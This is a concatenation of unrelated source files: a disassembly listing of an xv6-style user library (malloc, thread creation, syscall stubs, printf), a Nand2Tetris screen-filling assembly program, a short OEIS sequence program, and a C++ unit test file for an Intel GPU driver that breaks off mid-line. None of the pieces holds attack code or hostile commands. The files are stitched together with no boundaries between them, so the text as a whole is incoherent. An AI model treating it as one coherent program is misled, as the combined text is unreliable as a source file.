f1 sub %esi,%ecx 47e: 89 4a 04 mov %ecx,0x4(%edx) p += p->s.size; 481: 8d 14 ca lea (%edx,%ecx,8),%edx p->s.size = nunits; 484: 89 72 04 mov %esi,0x4(%edx) freep = prevp; 487: a3 c4 0b 00 00 mov %eax,0xbc4 } 48c: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 48f: 8d 42 08 lea 0x8(%edx),%eax } 492: 5b pop %ebx 493: 5e pop %esi 494: 5f pop %edi 495: 5d pop %ebp 496: c3 ret 497: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 49e: 66 90 xchg %ax,%ax base.s.ptr = freep = prevp = &base; 4a0: c7 05 c4 0b 00 00 c8 movl $0xbc8,0xbc4 4a7: 0b 00 00 base.s.size = 0; 4aa: bf c8 0b 00 00 mov $0xbc8,%edi base.s.ptr = freep = prevp = &base; 4af: c7 05 c8 0b 00 00 c8 movl $0xbc8,0xbc8 4b6: 0b 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 4b9: 89 f8 mov %edi,%eax base.s.size = 0; 4bb: c7 05 cc 0b 00 00 00 movl $0x0,0xbcc 4c2: 00 00 00 if(p->s.size >= nunits){ 4c5: e9 36 ff ff ff jmp 400 <malloc+0x30> 4ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 4d0: 8b 0a mov (%edx),%ecx 4d2: 89 08 mov %ecx,(%eax) 4d4: eb b1 jmp 487 <malloc+0xb7> 4d6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 4dd: 8d 76 00 lea 0x0(%esi),%esi 000004e0 <thread_create>: { 4e0: f3 0f 1e fb endbr32 4e4: 55 push %ebp 4e5: 89 e5 mov %esp,%ebp 4e7: 83 ec 14 sub $0x14,%esp stack =malloc(4096); //pgsize 4ea: 68 00 10 00 00 push $0x1000 4ef: e8 dc fe ff ff call 3d0 <malloc> return clone(start_routine,arg1,arg2,stack); 4f4: 50 push %eax 4f5: ff 75 10 pushl 0x10(%ebp) 4f8: ff 75 0c pushl 0xc(%ebp) 4fb: ff 75 08 pushl 0x8(%ebp) 4fe: e8 ba 00 00 00 call 5bd <clone> } 503: c9 leave 504: c3 ret 00000505 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 505: b8 01 00 00 00 mov $0x1,%eax 50a: cd 40 int $0x40 50c: c3 ret 0000050d <exit>: SYSCALL(exit) 50d: b8 02 00 00 00 mov $0x2,%eax 512: cd 40 int $0x40 514: c3 ret 00000515 <wait>: SYSCALL(wait) 515: b8 03 00 00 00 mov $0x3,%eax 51a: cd 40 int $0x40 51c: c3 ret 0000051d <pipe>: SYSCALL(pipe) 51d: b8 04 00 00 00 mov $0x4,%eax 522: cd 40 int $0x40 524: c3 ret 00000525 <read>: SYSCALL(read) 525: b8 05 00 00 00 mov $0x5,%eax 52a: cd 40 int $0x40 52c: c3 ret 0000052d <write>: SYSCALL(write) 52d: b8 10 00 00 00 mov $0x10,%eax 532: cd 40 int $0x40 534: c3 ret 00000535 <close>: SYSCALL(close) 535: b8 15 00 00 00 mov $0x15,%eax 53a: cd 40 int $0x40 53c: c3 ret 0000053d <kill>: SYSCALL(kill) 53d: b8 06 00 00 00 mov $0x6,%eax 542: cd 40 int $0x40 544: c3 ret 00000545 <exec>: SYSCALL(exec) 545: b8 07 00 00 00 mov $0x7,%eax 54a: cd 40 int $0x40 54c: c3 ret 0000054d <open>: SYSCALL(open) 54d: b8 0f 00 00 00 mov $0xf,%eax 552: cd 40 int $0x40 554: c3 ret 00000555 <mknod>: SYSCALL(mknod) 555: b8 11 00 00 00 mov $0x11,%eax 55a: cd 40 int $0x40 55c: c3 ret 0000055d <unlink>: SYSCALL(unlink) 55d: b8 12 00 00 00 mov $0x12,%eax 562: cd 40 int $0x40 564: c3 ret 00000565 <fstat>: SYSCALL(fstat) 565: b8 08 00 00 00 mov $0x8,%eax 56a: cd 40 int $0x40 56c: c3 ret 0000056d <link>: SYSCALL(link) 56d: b8 13 00 00 00 mov $0x13,%eax 572: cd 40 int $0x40 574: c3 ret 00000575 <mkdir>: SYSCALL(mkdir) 575: b8 14 00 00 00 mov $0x14,%eax 57a: cd 40 int $0x40 57c: c3 ret 0000057d <chdir>: SYSCALL(chdir) 57d: b8 09 00 00 00 mov $0x9,%eax 582: cd 40 int $0x40 584: c3 ret 00000585 <dup>: SYSCALL(dup) 585: b8 0a 00 00 00 mov $0xa,%eax 58a: cd 40 int $0x40 58c: c3 ret 0000058d <getpid>: SYSCALL(getpid) 58d: b8 0b 00 00 00 mov $0xb,%eax 592: cd 40 int $0x40 594: c3 ret 00000595 <getyear>: SYSCALL(getyear) 595: b8 16 00 00 00 mov $0x16,%eax 59a: cd 40 int $0x40 59c: c3 ret 0000059d <getreadcount>: SYSCALL(getreadcount) 59d: b8 17 00 00 00 mov $0x17,%eax 5a2: cd 40 int $0x40 5a4: c3 ret 000005a5 <sbrk>: SYSCALL(sbrk) 5a5: b8 0c 00 00 00 mov $0xc,%eax 5aa: cd 40 int $0x40 5ac: c3 ret 000005ad <sleep>: SYSCALL(sleep) 5ad: b8 0d 00 00 00 mov $0xd,%eax 5b2: cd 40 int $0x40 5b4: c3 ret 000005b5 <uptime>: SYSCALL(uptime) 5b5: b8 0e 00 00 00 mov $0xe,%eax 5ba: cd 40 int $0x40 5bc: c3 ret 000005bd <clone>: SYSCALL(clone) 5bd: b8 18 00 00 00 mov $0x18,%eax 5c2: cd 40 int $0x40 5c4: c3 ret 000005c5 <join>: SYSCALL(join) 5c5: b8 19 00 00 00 mov $0x19,%eax 5ca: cd 40 int $0x40 5cc: c3 ret 5cd: 66 90 xchg %ax,%ax 5cf: 90 nop 000005d0 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 5d0: 55 push %ebp 5d1: 89 e5 mov %esp,%ebp 5d3: 57 push %edi 5d4: 56 push %esi 5d5: 53 push %ebx 5d6: 83 ec 3c sub $0x3c,%esp 5d9: 89 4d c4 mov %ecx,-0x3c(%ebp) uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 5dc: 89 d1 mov %edx,%ecx { 5de: 89 45 b8 mov %eax,-0x48(%ebp) if(sgn && xx < 0){ 5e1: 85 d2 test %edx,%edx 5e3: 0f 89 7f 00 00 00 jns 668 <printint+0x98> 5e9: f6 45 08 01 testb $0x1,0x8(%ebp) 5ed: 74 79 je 668 <printint+0x98> neg = 1; 5ef: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp) x = -xx; 5f6: f7 d9 neg %ecx } else { x = xx; } i = 0; 5f8: 31 db xor %ebx,%ebx 5fa: 8d 75 d7 lea -0x29(%ebp),%esi 5fd: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 600: 89 c8 mov %ecx,%eax 602: 31 d2 xor %edx,%edx 604: 89 cf mov %ecx,%edi 606: f7 75 c4 divl -0x3c(%ebp) 609: 0f b6 92 78 08 00 00 movzbl 0x878(%edx),%edx 610: 89 45 c0 mov %eax,-0x40(%ebp) 613: 89 d8 mov %ebx,%eax 615: 8d 5b 01 lea 0x1(%ebx),%ebx }while((x /= base) != 0); 618: 8b 4d c0 mov -0x40(%ebp),%ecx buf[i++] = digits[x % base]; 61b: 88 14 1e mov %dl,(%esi,%ebx,1) }while((x /= base) != 0); 61e: 39 7d c4 cmp %edi,-0x3c(%ebp) 621: 76 dd jbe 600 <printint+0x30> if(neg) 623: 8b 4d bc mov -0x44(%ebp),%ecx 626: 85 c9 test %ecx,%ecx 628: 74 0c je 636 <printint+0x66> buf[i++] = '-'; 62a: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1) buf[i++] = digits[x % base]; 62f: 89 d8 mov %ebx,%eax buf[i++] = '-'; 631: ba 2d 00 00 00 mov $0x2d,%edx while(--i >= 0) 636: 8b 7d b8 mov -0x48(%ebp),%edi 639: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 63d: eb 07 jmp 646 <printint+0x76> 63f: 90 nop 640: 0f b6 13 movzbl (%ebx),%edx 643: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 646: 83 ec 04 sub $0x4,%esp 649: 88 55 d7 mov %dl,-0x29(%ebp) 64c: 6a 01 push $0x1 64e: 56 push %esi 64f: 57 push %edi 650: e8 d8 fe ff ff call 52d <write> while(--i >= 0) 655: 83 c4 10 add $0x10,%esp 658: 39 de cmp %ebx,%esi 65a: 75 e4 jne 640 <printint+0x70> putc(fd, buf[i]); } 65c: 8d 65 f4 lea -0xc(%ebp),%esp 65f: 5b pop %ebx 660: 5e pop %esi 661: 5f pop %edi 662: 5d pop %ebp 663: c3 ret 664: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 668: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp) 66f: eb 87 jmp 5f8 <printint+0x28> 671: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 678: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 67f: 90 nop 00000680 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 680: f3 0f 1e fb endbr32 684: 55 push %ebp 685: 89 e5 mov %esp,%ebp 687: 57 push %edi 688: 56 push %esi 689: 53 push %ebx 68a: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 68d: 8b 75 0c mov 0xc(%ebp),%esi 690: 0f b6 1e movzbl (%esi),%ebx 693: 84 db test %bl,%bl 695: 0f 84 b4 00 00 00 je 74f <printf+0xcf> ap = (uint*)(void*)&fmt + 1; 69b: 8d 45 10 lea 0x10(%ebp),%eax 69e: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 6a1: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 6a4: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 6a6: 89 45 d0 mov %eax,-0x30(%ebp) 6a9: eb 33 jmp 6de <printf+0x5e> 6ab: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 6af: 90 nop 6b0: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 6b3: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 6b8: 83 f8 25 cmp $0x25,%eax 6bb: 74 17 je 6d4 <printf+0x54> write(fd, &c, 1); 6bd: 83 ec 04 sub $0x4,%esp 6c0: 88 5d e7 mov %bl,-0x19(%ebp) 6c3: 6a 01 push $0x1 6c5: 57 push %edi 6c6: ff 75 08 pushl 0x8(%ebp) 6c9: e8 5f fe ff ff call 52d <write> 6ce: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 6d1: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 6d4: 0f b6 1e movzbl (%esi),%ebx 6d7: 83 c6 01 add $0x1,%esi 6da: 84 db test %bl,%bl 6dc: 74 71 je 74f <printf+0xcf> c = fmt[i] & 0xff; 6de: 0f be cb movsbl %bl,%ecx 6e1: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 6e4: 85 d2 test %edx,%edx 6e6: 74 c8 je 6b0 <printf+0x30> } } else if(state == '%'){ 6e8: 83 fa 25 cmp $0x25,%edx 6eb: 75 e7 jne 6d4 <printf+0x54> if(c == 'd'){ 6ed: 83 f8 64 cmp $0x64,%eax 6f0: 0f 84 9a 00 00 00 je 790 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 6f6: 81 e1 f7 00 00 00 and $0xf7,%ecx 6fc: 83 f9 70 cmp $0x70,%ecx 6ff: 74 5f je 760 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 701: 83 f8 73 cmp $0x73,%eax 704: 0f 84 d6 00 00 00 je 7e0 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 70a: 83 f8 63 cmp $0x63,%eax 70d: 0f 84 8d 00 00 00 je 7a0 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 713: 83 f8 25 cmp $0x25,%eax 716: 0f 84 b4 00 00 00 je 7d0 <printf+0x150> write(fd, &c, 1); 71c: 83 ec 04 sub $0x4,%esp 71f: c6 45 e7 25 movb $0x25,-0x19(%ebp) 723: 6a 01 push $0x1 725: 57 push %edi 726: ff 75 08 pushl 0x8(%ebp) 729: e8 ff fd ff ff call 52d <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 72e: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 731: 83 c4 0c add $0xc,%esp 734: 6a 01 push $0x1 736: 83 c6 01 add $0x1,%esi 739: 57 push %edi 73a: ff 75 08 pushl 0x8(%ebp) 73d: e8 eb fd ff ff call 52d <write> for(i = 0; fmt[i]; i++){ 742: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 746: 83 c4 10 add $0x10,%esp } state = 0; 749: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 74b: 84 db test %bl,%bl 74d: 75 8f jne 6de <printf+0x5e> } } } 74f: 8d 65 f4 lea -0xc(%ebp),%esp 752: 5b pop %ebx 753: 5e pop %esi 754: 5f pop %edi 755: 5d pop %ebp 756: c3 ret 757: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 75e: 66 90 xchg %ax,%ax printint(fd, *ap, 16, 0); 760: 83 ec 0c sub $0xc,%esp 763: b9 10 00 00 00 mov $0x10,%ecx 768: 6a 00 push $0x0 76a: 8b 5d d0 mov -0x30(%ebp),%ebx 76d: 8b 45 08 mov 0x8(%ebp),%eax 770: 8b 13 mov (%ebx),%edx 772: e8 59 fe ff ff call 5d0 <printint> ap++; 777: 89 d8 mov %ebx,%eax 779: 83 c4 10 add $0x10,%esp state = 0; 77c: 31 d2 xor %edx,%edx ap++; 77e: 83 c0 04 add $0x4,%eax 781: 89 45 d0 mov %eax,-0x30(%ebp) 784: e9 4b ff ff ff jmp 6d4 <printf+0x54> 789: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 790: 83 ec 0c sub $0xc,%esp 793: b9 0a 00 00 00 mov $0xa,%ecx 798: 6a 01 push $0x1 79a: eb ce jmp 76a <printf+0xea> 79c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 7a0: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 7a3: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 7a6: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 7a8: 6a 01 push $0x1 ap++; 7aa: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 7ad: 57 push %edi 7ae: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 7b1: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 7b4: e8 74 fd ff ff call 52d <write> ap++; 7b9: 89 5d d0 mov %ebx,-0x30(%ebp) 7bc: 83 c4 10 add $0x10,%esp state = 0; 7bf: 31 d2 xor %edx,%edx 7c1: e9 0e ff ff ff jmp 6d4 <printf+0x54> 7c6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 7cd: 8d 76 00 lea 0x0(%esi),%esi putc(fd, c); 7d0: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 7d3: 83 ec 04 sub $0x4,%esp 7d6: e9 59 ff ff ff jmp 734 <printf+0xb4> 7db: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 7df: 90 nop s = (char*)*ap; 7e0: 8b 45 d0 mov -0x30(%ebp),%eax 7e3: 8b 18 mov (%eax),%ebx ap++; 7e5: 83 c0 04 add $0x4,%eax 7e8: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 7eb: 85 db test %ebx,%ebx 7ed: 74 17 je 806 <printf+0x186> while(*s != 0){ 7ef: 0f b6 03 movzbl (%ebx),%eax state = 0; 7f2: 31 d2 xor %edx,%edx while(*s != 0){ 7f4: 84 c0 test %al,%al 7f6: 0f 84 d8 fe ff ff je 6d4 <printf+0x54> 7fc: 89 75 d4 mov %esi,-0x2c(%ebp) 7ff: 89 de mov %ebx,%esi 801: 8b 5d 08 mov 0x8(%ebp),%ebx 804: eb 1a jmp 820 <printf+0x1a0> s = "(null)"; 806: bb 6f 08 00 00 mov $0x86f,%ebx while(*s != 0){ 80b: 89 75 d4 mov %esi,-0x2c(%ebp) 80e: b8 28 00 00 00 mov $0x28,%eax 813: 89 de mov %ebx,%esi 815: 8b 5d 08 mov 0x8(%ebp),%ebx 818: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 81f: 90 nop write(fd, &c, 1); 820: 83 ec 04 sub $0x4,%esp s++; 823: 83 c6 01 add $0x1,%esi 826: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 829: 6a 01 push $0x1 82b: 57 push %edi 82c: 53 push %ebx 82d: e8 fb fc ff ff call 52d <write> while(*s != 0){ 832: 0f b6 06 movzbl (%esi),%eax 835: 83 c4 10 add $0x10,%esp 838: 84 c0 test %al,%al 83a: 75 e4 jne 820 <printf+0x1a0> 83c: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 83f: 31 d2 xor %edx,%edx 841: e9 8e fe ff ff jmp 6d4 <printf+0x54>
// File name: projects/04/ModularLoops.asm // Runs an infinite loop that listens to the keyboard input. // When a key is pressed (any key), the program does something. @color //Initialize color to be black -1 M=0 @8191 //What ever number is here, for example, 8192 is equal to (256*32) D=A //Get the address number (8192-1) to D @widthTimesHeight M=D (REDRAW) @SCREEN D=A @addr M=D //addr = 16384 // (screen's base address) @widthTimesHeight D=M @n M=D // n = widthTimesHeight @i M=0 // i = 0 @DRAWLOOP 0;JMP //Goto DRAW LOOP (DRAWLOOP) @i D=M @n D=D-M @END D;JGT // if i>n goto END @color D=M @addr A=M // RAM can be 0 or -1 M=D //RAM[addr]=-1 or 0 makes 16 pixels black or white @i M=M+1 // i = i+1 @1 D=A @addr M=D+M //addr = addr + 32 @DRAWLOOP 0;JMP // goto DRAWLOOP (END) @KBD D=M @NOKEYPRESSED D;JGT @color M=0 @REDRAW 0;JMP (NOKEYPRESSED) @color M=-1 @REDRAW 0;JMP
; A111097: Maximum likelihood estimate of the number of distinguishable marbles in an urn if repeated random sampling of one marble with replacement yields n different marbles before the first repeated marble. ; 1,2,5,8,13,19,25,33,42,51,62,74,86,100,115,130,147,165,183,203,224,245,268,292,316,342,369,396,425 mov $1,$0 add $1,3 mul $0,$1 dif $0,2 div $1,3 trn $0,$1 add $0,1
/* * Copyright (C) 2021 Intel Corporation * * SPDX-License-Identifier: MIT * */ #include "shared/source/os_interface/hw_info_config.h" #include "shared/source/program/kernel_info.h" #include "shared/test/common/cmd_parse/gen_cmd_parse.h" #include "shared/test/common/helpers/debug_manager_state_restore.h" #include "shared/test/common/helpers/hw_helper_tests.h" #include "shared/test/common/mocks/mock_graphics_allocation.h" #include "opencl/source/helpers/cl_hw_helper.h" #include "opencl/test/unit_test/mocks/mock_cl_hw_helper.h" using HwHelperTestXE_HP_CORE = HwHelperTest; XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenGenHelperWhenKernelArgumentIsNotPureStatefulThenRequireNonAuxMode) { auto &clHwHelper = ClHwHelper::get(renderCoreFamily); for (auto isPureStateful : {false, true}) { ArgDescPointer argAsPtr{}; argAsPtr.accessedUsingStatelessAddressingMode = !isPureStateful; EXPECT_EQ(!argAsPtr.isPureStateful(), clHwHelper.requiresNonAuxMode(argAsPtr, *defaultHwInfo)); } } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenGenHelperWhenEnableStatelessCompressionThenDontRequireNonAuxMode) { DebugManagerStateRestore restore; DebugManager.flags.EnableStatelessCompression.set(1); auto &clHwHelper = ClHwHelper::get(renderCoreFamily); for (auto isPureStateful : {false, true}) { ArgDescPointer argAsPtr{}; argAsPtr.accessedUsingStatelessAddressingMode = !isPureStateful; EXPECT_FALSE(clHwHelper.requiresNonAuxMode(argAsPtr, *defaultHwInfo)); } } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenXE_HP_COREThenAuxTranslationIsRequired) { auto &clHwHelper = ClHwHelper::get(renderCoreFamily); for (auto isPureStateful : {false, true}) { KernelInfo kernelInfo{}; kernelInfo.kernelDescriptor.payloadMappings.explicitArgs.resize(1); kernelInfo.kernelDescriptor.payloadMappings.explicitArgs[0].as<ArgDescPointer>(true).accessedUsingStatelessAddressingMode = !isPureStateful; EXPECT_EQ(!isPureStateful, clHwHelper.requiresAuxResolves(kernelInfo, *defaultHwInfo)); } } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenXE_HP_COREWhenEnableStatelessCompressionThenAuxTranslationIsNotRequired) { DebugManagerStateRestore restore; DebugManager.flags.EnableStatelessCompression.set(1); auto &clHwHelper = ClHwHelper::get(renderCoreFamily); KernelInfo kernelInfo{}; EXPECT_FALSE(clHwHelper.requiresAuxResolves(kernelInfo, *defaultHwInfo)); } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenDifferentBufferSizesWhenEnableStatelessCompressionThenEveryBufferSizeIsSuitableForRenderCompression) { DebugManagerStateRestore restore; DebugManager.flags.EnableStatelessCompression.set(1); auto &helper = HwHelper::get(renderCoreFamily); const size_t sizesToCheck[] = {1, 128, 256, 1024, 2048}; for (size_t size : sizesToCheck) { EXPECT_TRUE(helper.isBufferSizeSuitableForRenderCompression(size, *defaultHwInfo)); } } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenStatelessCompressionEnabledWhenSetExtraAllocationDataThenDontRequireCpuAccessNorMakeResourceLocableForCompressedAllocations) { DebugManagerStateRestore restore; DebugManager.flags.EnableStatelessCompression.set(1); HardwareInfo hwInfo = *defaultHwInfo; auto &hwHelper = HwHelper::get(hwInfo.platform.eRenderCoreFamily); for (auto allocType : {GraphicsAllocation::AllocationType::CONSTANT_SURFACE, GraphicsAllocation::AllocationType::GLOBAL_SURFACE, GraphicsAllocation::AllocationType::PRINTF_SURFACE}) { AllocationData allocData; AllocationProperties allocProperties(mockRootDeviceIndex, true, allocType, mockDeviceBitfield); hwHelper.setExtraAllocationData(allocData, allocProperties, hwInfo); EXPECT_FALSE(allocData.flags.requiresCpuAccess); EXPECT_FALSE(allocData.storageInfo.isLockable); } } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenRevisionEnumAndPlatformFamilyTypeThenProperValueForIsWorkaroundRequiredIsReturned) { uint32_t steppings[] = { REVISION_A0, REVISION_A1, REVISION_C, REVISION_D, CommonConstants::invalidStepping, }; const auto &hwHelper = HwHelper::get(hardwareInfo.platform.eRenderCoreFamily); const auto &hwInfoConfig = *HwInfoConfig::get(hardwareInfo.platform.eProductFamily); for (auto stepping : steppings) { hardwareInfo.platform.usRevId = hwInfoConfig.getHwRevIdFromStepping(stepping, hardwareInfo); if (hardwareInfo.platform.eProductFamily == IGFX_XE_HP_SDV) { if (stepping == REVISION_A0) { EXPECT_TRUE(hwHelper.isWorkaroundRequired(REVISION_A0, REVISION_B, hardwareInfo)); EXPECT_TRUE(hwHelper.isWorkaroundRequired(REVISION_A0, REVISION_A1, hardwareInfo)); EXPECT_FALSE(hwHelper.isWorkaroundRequired(REVISION_B, REVISION_A0, hardwareInfo)); } else if (stepping == REVISION_A1) { EXPECT_FALSE(hwHelper.isWorkaroundRequired(REVISION_A0, REVISION_A1, hardwareInfo)); } else if (stepping == REVISION_C || stepping == REVISION_D) { //undefined EXPECT_FALSE(hwHelper.isWorkaroundRequired(REVISION_A0, REVISION_D, hardwareInfo)); } } else { EXPECT_FALSE(hwHelper.isWorkaroundRequired(REVISION_A0, REVISION_D, hardwareInfo)); } } } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenRevisionEnumThenProperMaxThreadsForWorkgroupIsReturned) { const auto &hwInfoConfig = *HwInfoConfig::get(hardwareInfo.platform.eProductFamily); hardwareInfo.platform.usRevId = hwInfoConfig.getHwRevIdFromStepping(REVISION_A0, hardwareInfo); EXPECT_EQ(64u, hwInfoConfig.getMaxThreadsForWorkgroupInDSSOrSS(hardwareInfo, 64u, 64u)); hardwareInfo.platform.usRevId = hwInfoConfig.getHwRevIdFromStepping(REVISION_B, hardwareInfo); uint32_t numThreadsPerEU = hardwareInfo.gtSystemInfo.ThreadCount / hardwareInfo.gtSystemInfo.EUCount; EXPECT_EQ(64u * numThreadsPerEU, hwInfoConfig.getMaxThreadsForWorkgroupInDSSOrSS(hardwareInfo, 64u, 64u)); } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenDisablePipeControlFlagIsDefaultWhenLocalMemoryIsEnabledThenReturnFalseAndDoNotProgramPipeControl) { hardwareInfo.featureTable.ftrLocalMemory = true; EXPECT_FALSE(MemorySynchronizationCommands<FamilyType>::isPipeControlWArequired(hardwareInfo)); constexpr size_t bufferSize = 128u; uint8_t buffer[bufferSize]; LinearStream cmdStream(buffer, bufferSize); MemorySynchronizationCommands<FamilyType>::addPipeControlWA(cmdStream, 0x1000, hardwareInfo); EXPECT_EQ(0u, cmdStream.getUsed()); } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenDisablePipeControlFlagIsDisabledWhenLocalMemoryIsEnabledThenReturnFalseAndDoNotProgramPipeControl) { DebugManagerStateRestore restore; DebugManager.flags.DisablePipeControlPrecedingPostSyncCommand.set(0); hardwareInfo.featureTable.ftrLocalMemory = true; EXPECT_FALSE(MemorySynchronizationCommands<FamilyType>::isPipeControlWArequired(hardwareInfo)); constexpr size_t bufferSize = 128u; uint8_t buffer[bufferSize]; LinearStream cmdStream(buffer, bufferSize); MemorySynchronizationCommands<FamilyType>::addPipeControlWA(cmdStream, 0x1000, hardwareInfo); EXPECT_EQ(0u, cmdStream.getUsed()); } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenDisablePipeControlFlagIsEnabledWhenLocalMemoryIsEnabledThenReturnTrueAndProgramPipeControl) { using PIPE_CONTROL = typename FamilyType::PIPE_CONTROL; DebugManagerStateRestore restore; DebugManager.flags.DisablePipeControlPrecedingPostSyncCommand.set(1); hardwareInfo.featureTable.ftrLocalMemory = true; EXPECT_TRUE(MemorySynchronizationCommands<FamilyType>::isPipeControlWArequired(hardwareInfo)); constexpr size_t bufferSize = 128u; uint8_t buffer[bufferSize]; LinearStream cmdStream(buffer, bufferSize); MemorySynchronizationCommands<FamilyType>::addPipeControlWA(cmdStream, 0x1000, hardwareInfo); EXPECT_EQ(sizeof(PIPE_CONTROL), cmdStream.getUsed()); } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenDisablePipeControlFlagIsEnabledWhenLocalMemoryIsDisabledThenReturnTrueAndDoNotProgramPipeControl) { DebugManagerStateRestore restore; DebugManager.flags.DisablePipeControlPrecedingPostSyncCommand.set(1); hardwareInfo.featureTable.ftrLocalMemory = false; EXPECT_FALSE(MemorySynchronizationCommands<FamilyType>::isPipeControlWArequired(hardwareInfo)); constexpr size_t bufferSize = 128u; uint8_t buffer[bufferSize]; LinearStream cmdStream(buffer, bufferSize); MemorySynchronizationCommands<FamilyType>::addPipeControlWA(cmdStream, 0x1000, hardwareInfo); EXPECT_EQ(0u, cmdStream.getUsed()); } using HwInfoConfigTestXE_HP_CORE = ::testing::Test; XE_HP_CORE_TEST_F(HwInfoConfigTestXE_HP_CORE, givenDebugVariableSetWhenConfigureIsCalledThenSetupBlitterOperationsSupportedFlag) { DebugManagerStateRestore restore; auto hwInfoConfig = HwInfoConfig::get(productFamily); HardwareInfo hwInfo = *defaultHwInfo; DebugManager.flags.EnableBlitterOperationsSupport.set(0); hwInfoConfig->configureHardwareCustom(&hwInfo, nullptr); EXPECT_FALSE(hwInfo.capabilityTable.blitterOperationsSupported); DebugManager.flags.EnableBlitterOperationsSupport.set(1); hwInfoConfig->configureHardwareCustom(&hwInfo, nullptr); EXPECT_TRUE(hwInfo.capabilityTable.blitterOperationsSupported); } XE_HP_CORE_TEST_F(HwInfoConfigTestXE_HP_CORE, givenMultitileConfigWhenConfiguringHwInfoThenEnableBlitter) { auto hwInfoConfig = HwInfoConfig::get(productFamily); HardwareInfo hwInfo = *defaultHwInfo; for (uint32_t tileCount = 0; tileCount <= 4; tileCount++) { hwInfo.gtSystemInfo.MultiTileArchInfo.TileCount = tileCount; hwInfoConfig->configureHardwareCustom(&hwInfo, nullptr); EXPECT_EQ(true, hwInfo.capabilityTable.blitterOperationsSupported); } } using XE_HP_CORERenderSurfaceStateDataTests = ::testing::Test; XE_HP_CORE_TEST_F(XE_HP_CORERenderSurfaceStateDataTests, WhenMemoryObjectControlStateIndexToMocsTablesIsSetThenValueIsShift) { using RENDER_SURFACE_STATE = typename FamilyType::RENDER_SURFACE_STATE; auto surfaceState = FamilyType::cmdInitRenderSurfaceState; uint32_t value = 4; surfaceState.setMemoryObjectControlStateIndexToMocsTables(value); EXPECT_EQ(surfaceState.TheStructure.Common.MemoryObjectControlStateIndexToMocsTables, value >> 1); EXPECT_EQ(surfaceState.getMemoryObjectControlStateIndexToMocsTables(), value); } using LriHelperTestsXE_HP_CORE = ::testing::Test; XE_HP_CORE_TEST_F(LriHelperTestsXE_HP_CORE, whenProgrammingLriCommandThenExpectMmioRemapEnableCorrectlySet) { using 